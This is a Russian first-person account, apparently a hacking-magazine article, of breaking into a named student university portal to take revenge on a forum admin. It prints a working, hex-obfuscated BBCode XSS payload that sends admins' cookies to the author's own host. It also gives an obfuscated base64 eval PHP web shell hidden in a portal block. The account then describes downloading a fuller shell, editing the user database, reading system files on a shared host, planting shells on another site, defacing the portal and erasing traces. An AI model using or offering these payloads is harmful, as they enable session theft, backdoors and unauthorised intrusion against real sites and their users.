Как-то мне один мой знакомый пожаловался,
что на некоем форуме безобразничает админ (строит
из себя бога). И попросил посмотреть можно
ли отомстить негодному админу, дав ссылку
на сайт www.spbstu.org. Это
оказался портал студентов питерского
Политехнического университета. Честно
говоря, меня сразу смутило, что проект
студентов хостится за бабло, а не на каком-нибудь
халявном хостинге. Я подумал, что, наверное,
раз есть бабло на поддержание портала, то и
с защитой обстоит дело не плохо. Но в
последствии я понял, что эти вещи в реальной
жизни редко совпадаю 🙂

Поверхностные исследования

Портал хостился у известного хостера majordomo (whoiz
нам в помощь). Там люди серьёзные, так что
затея со взломом хостера отпадала сразу: у
меня не было достаточного опыта. Поэтому
мысль была одна: взлом через web. Как и
полагается в подобных случаях, я ввёл в
адресной строке браузера адрес портала и
начал изучать что там находится и с чем имею
дело.

Внизу страницы характерной надписи
раскрывающей название и версии движка я не
встретил. Поэтому я стал изучать исходник
html-формы, надеясь наткнуться на что-нибудь
вроде: <meta name="generator" content="xxxx" />
🙂 Кто не в курсе — в этой строке в поле content
обозначается имя и версия движка. Конечно,
это легко изменить, но есть вероятность, что
эта строка отображает действительность. И я
напоролся как раз на строку: <meta name="generator"
content="MKPortal" /> Не долго думая, я ввёл
имя движка (версии я не знал, но всё же, хоть
что-то) в поисковой запрос сайтов www.securitylab.ru,
www.security.nnov.ru, www.securityfocus.com в надежде не
изобретать велосипед, а халявно сайт
поиметь 🙂 Но поиски окончились неудачей:
ничего не было найдено. Я даже подумал, что
строчка в сорсах насчёт имени движка
фиктивная. Тогда я решил проверить все
конпочки\ссылочки в надежде напороться на
какую-нибудь SQL-инъекцию или может даже php-
или local include. Но всё было тщетно. Но пока
кликал кнопочки я напоролся на загрузку
файлов на сервер: архив документации,
готовых решений и прочей лабуды. Как ты,
наверное, уже догадался, я решил проверить
есть ли фильтр на расширения в надежде
загрузить скрипт, дающий web-шелл. Но и тут
меня постигла неудача: можно было заливать
только архивы zip и rar. Конечно, можно было
запихать exe-шный трой, запаковать и выложить
в архив с комментом, что это готовые решения
задач по физике 🙂 но это был мягко говоря не
лучший вариант. Так что я продолжил
смотреть что ещё есть на портале.

На портале был ещё форум. Посмотрев сорцы я
обнаружил, что это Invision Power Board 2.0.0 Были
причины этому верить: я часто сталкивался с
этим форумом, поэтому мне было достаточно
взгляда на ссылку на тему, чтобы определить,
что движок действительно тот самый. К тому
же зарегистрировавшись на форуме, я
взглянул в куки Оперы и увидел до боли
знакомые куки, характерные для IPB. Это уже
радовало: в момент исследований сайта была
недавно обнаруженная SQL-уязвимость для
версии 2.0.x. Как оказалось, она по каким-то
причинам действует не на всех форумах IPB 2.0.x,
и как на зло, не подействовала и тут 🙁

Первые успехи

Однако ещё была уязвимость, обнаруженная во
многих форумах: это XSS-атака, возможная из-за
некорректной фильтрации символов в тегах,
вложенных в друг друга. Среди уязвимых был и
IPB 2. Строчка для него была такой:

[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background-image:url(javascript:alert(document.cookie))
[/COLOR]

Проверив ссылку, я убедился, что заветный
алерт выполнился и я в появившемся окошке
увидел свои кукисы. Оставалось дело за
малым: подправить код в строке, запихать его
в подпись и найти тупую причину написать
админу персональное сообщение (чтобы админ
не заподозрил неладное) 🙂

Когда со всеми этими задачами я справился, я
уже собирался отправить ПС, но внезапно
вспомнил, что моя строка нормально
сработает только в IE: опыт показывал, что
там, где содержится код style=background-image (или
символ `) все другие браузеры спотыкаются и
вместо html выкидывают часть кода как текст.
Не было никакой уверенности, что у админа
стоит IE, поэтому нужно было ещё и
замаскировать код на случай его
некорректного исполнения. Для этого я код
покрасил цветом, близким к фону форума и
уменьшил в размерах до минимально
возможного. Код стал таким:

[SIZE=-7][COLOR=LightBlue][COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background-image:url(javascript:window.open( ‘http://www.my_host.com/cgi-bin/xss.cgi?’+document.cookie)) 
[/COLOR] [/COLOR][/SIZE]

Скрипт xss.cgi основывался на скрипте из
журнала Хакер№63 (март
2004)
.

Немного подумав я решил, что нужно ещё
слегка замаскировать код, зашифровать его
16-ым кодом. Так, на всякий пожарный. В итоге
код преобразовался в такую строку:

[SIZE=-7][COLOR=LightBlue][COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background-image:url(javascript:%77%69%6E%64
%6F%77%2E%6F%70%65%6E%28%27%68%74%74 %70%3A%2F%2F%77%77%77%2E%6D%79%5F%68
%6F%73%74%2E%63%6F%6D%2F%63%67%69%2D %62%69%6E%2F%78%73%73%2E%63%67%69%3F
%27%2B%64%6F%63%75%6D%65%6E%74%2E%63 %6F%6F%6B%69%65%29) [/COLOR] [/COLOR][/SIZE]

Со временем, я узнал, что можно было так не
извращаться, а просто указать точный цвет
текста (в 16-ом формате) в теге [COLOR]. Например,
для чёрного текста: [COLOR=#000000]. В этом случае
текст в тэге полностью сольётся с фоном
форума, в моём же случае полного совпадения
цветов не было, поэтому пришлось ещё и шрифт
уменьшить.

Мне повезло: код полностью влез в подпись (на
форумах часто ставят ограничение на
количество символов в подписи, так было и на
этот раз, однако мне хватило верхнего
предела). Но даже если бы и не повезло —
ничего не мешало бы сохранить страницу
профиля и модифицировать сорсы, изменив
максимальную длину строки и путь для
передачи параметров скрипту с
относительного на абсолютный.

Внутри

Отправив ПС одному из админов я принялся
ждать когда корзинка наполнится пряниками
:), т.е. когда в логах появятся куки. Но меня
ждал облом: админ юзал что-то отличное от IE,
так что куки не появились. Но отправив ПС
другому админу я получил желаемое.
Отредактировав куки в Опере и подрубив оную
к анонимному прокси, я зашёл на форум
портала. Портал меня опознал как админа.
Помня о том, что в IPB можно в каталог
смайликов закидывать php-скрипт, я
направился в админку форума. Тут меня
поджидал очередной облом: наверняка многие
из вас знают, что чтобы зайти в админку
кукисов мало: форум требует авторизоваться
как админу. Поэтому в админку я не попал.
Перебор пасса по словарю по известному хешу
ни к чему хорошему не привёл: позже я узнал,
что пароль хешируется двойным md5, поэтому
толку от перебора не было. Создать пароль
новый не получится, т.к. нужно подтверждение
старого.

Тут я вдруг вспомнил, что это ПОРТАЛ! То есть
наверняка на портале есть админка. Зайдя на
главную страницу, я понял, что моя догадка
была верной. Более того: MKPortal был совмещён с
IPB: у них была одна база мускула (mysql). И
портал меня опознал как админа. Но и это ещё
не всё: для входа в админку не нужен пасс,
кукисов достаточно!

Зайдя в админку, я принялся изучать
внутренность и искать возможность залить
php-файл. Но такой возможности я не нашёл.
Зато нашёл возможность редактировать
внешний вид форума: можно было создавать и
редактировать html- и php- блоки. Чувствуешь чем
пахнет? Можно создать php-блок, в который
запихнуть исходник простейшего web-шелла.
Тем более один такой блок уже существовал и
решено было его отредактировать, добавив
<? system($cmd); ?> Однако такой код выглядел бы
слишком подозрительно (вряд ли админ стал
бы вдруг смотреть в админке php-блоки, т.к.
пока никаких подозрений не должно быть, но
всё-таки). Поэтому я обратился на форум
www.forum.xakep.ru с просьбой помочь вставить код,
дающий web-шелл, но не кидающийся в глаза. Чел
под ником Vodoo подсказал хорошее решение:

@$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING[‘KOI8-R’];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING[‘WIN-1251’];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING[‘UTF-8’];
@eval(base64_decode($_GET[‘salt’] . $str1 . $str2 . $str3));

URL для доступа к коммндной строке: http://site.ru/index.php?salt=JG5ld3N&0xFF=ls
-al

Параметр salt должен быть всегда один и тот же

Добавив эти строки в блок и обратившись к
главной станице портала так:

http://www.spbstu.org/index.php?salt=JG5ld3N&0xFF=ls -al 

я получил список файлов. Далее я
воспользовался командой wget и залил удобный
web-шелл (предпочтение было отдано r57shell от rst.void.ru,
т.к. помимо функций шелла ещё кучу всего
позволяет. К примеру — обход safe_mode). Затем
вернулся в админку портала и удалил
добавленные строки из кода блока.

Получив доступ к файлам каталога, я
довольно быстро получил доступ к базе
данных, предварительно найдя файл config.inc и
выбрав от туда логин и пасс. Далее следовало
бы залить прогу для удобной работы с БД.
Обычно юзают для этого phpMyAdmin. Но он весит 1.5
метра, его ещё нужно конфигурировать (в
конфигурационный файл прописывать логин,
пасс и хост, на котором вертится БД), а
редактировать файлы через web-шелл очень
неудобно. Поэтому я выбрал альтернативу:
sql.php от rst.void.ru Логин и пасс вводится прям в
web-форме скрипта, сам скрипт весит 80 кб.
Далее я стал лазать по БД в надежде кое-кого
сделать админом, а кое-кого забанить 🙂 К
сожалению, sql.php оказался глючным и не хотел
редактировать поля базы, т.е. его можно было
юзать только для просмотра. Так что phpMyAdmin
всё-таки пришлось залить, распаковать и
залить готовый конфиг для него. Далее я
отредактировал таблицу юзеров, создав
нового админа и забанив прежднего и
принялся изучать что ещё интересного есть в
каталогах, к которым я имею доступ.

Сага о хостере

В каталоге где валялся index.php портала я
обнаружил каталог irc и ещё какие-то. Их
названия я уже не помню, да это и не важно,
ничего интересного внутри них не было. Выше
исходного каталога обнаружилась папка logs, в
которой лежали access.log и error.log — стандартные
логи о успешных и неудачных доступах к
файлам сервера Apache. Ещё выше я обнаружил
кучу каталогов: trablovnet, spbstuorg и ещё десятка
два. Догадавшись, что это и есть каталоги
других юзеров, хостяших здесь свои сайты, я
принялся просматривать содержимое. Сначала
я залез в trablovnet. Просмотрев содержимое index
файла командой cat и сверив увиденное с
начальной страницей сайта www.trablov.net,
загруженной в браузере, я убедился, что они
совпадают. Это был сайт владельца,
делающего что-то на заказ. Ничего
интересного я не встретил — ни бродя
браузером по просторам сайта, ни внутри
через шелл. Найдя config.inc и подключившись к БД
я увидел, что структура базы напоминает
структуру on-line магазинов: здесь были записи
о заказчиках и их данных, включая номера
кредиток. Но либо проект был хилый, либо
только созданный — ни одной нормальной
записи я не обнаружил. Но на всякий случай и
сюда забросил php-скрипт, дающий шелл.
Пропарсив остальные каталоги я так же не
встретил ничего интересного, хотя я уже
смотрел их не тщательно: в 4 часа утра от
энтузиазма не осталось и следа.
Единственное, что объединяло по структуре
все эти каталоги: везде была папка logs с
логами Апача. Т.е. каждому сайту отдельный
лог, а не всё вместе в куче. Разумно.

Мне показалось странным, что права хостер
выдал криво и у меня есть возможность
просматривать каталоги других юзеров.
Тогда я решил проверить: пустят ли меня на
ещё парочку каталогов выше. Как ни странно —
пустили. Более того, я скоро был уже в корне
файловой системы и встретил до боли
знакомые каталоги: bin, boot, dev, etc, proc, root и т.д. В
каталог рута меня не пустили, зато я без
проблем слил файл etc\passwd Вот такие админы у
хостеров!

На этом решено было пока остановиться: всё-таки
первоначальная задача — админ
студенческого портала. А я ведь только
поглумился над форумом, неплохо бы и
дефейснуть на последок, удалить следы
пребывания где возможно и отправиться
спать: уж слишком сильно рубило меня, чтобы
разбираться с хостером. Так я и сделал. 

Вот и сказочке конец

К вечеру следующего дня портал был
восстановлен (правда, не из резервной копии:
индексовая страница портала
восстанавливалась по памяти, форум же я
почти не трогал, так что подправив БД всё
стало на свои места). Однако шелл так и
валялся на сайте, кукисы админов тоже не
сменились. Но интерес я уже потерял к ним:
меня больше интересовал хостер. Зайдя на web-шелл
я рванул в корню файловой системы, но облом:
меня уже не пускали ни туда, ни в каталоги
других юзеров: видать, админ хостера как-то
просёк мои действия (может логи на досуге
глянул, может получил жалобу от админов
spbstu.org). Хотя шелл так и оставался валяться
даже у trablov.net Но и этому юзеру было уже
нельзя никуда, кроме своих владений.

Повторно глумиться над порталом желания
уже не было, подбирать пассы к фтп’шнику
тоже: на моей гнилой линии имея диал-ап это
занятие не их быстрых, так что я просто
свалил от туда. Через пару месяцев шелл всё-таки
был удалён: админы spbstu.org переставили портал.
Что касается trablov.net, то и там шелл исчез:
наверное заметили и подтёрли. Вот так и
закончилась эта история.

Оставить мнение

Check Also

Tips’n’Tricks из арсенала андроидовода. Самые интересные, полезные и нестандартные трюки с Android

Многие годы мы рассказывали про самые разные способы оптимизировать, модифицировать и твик…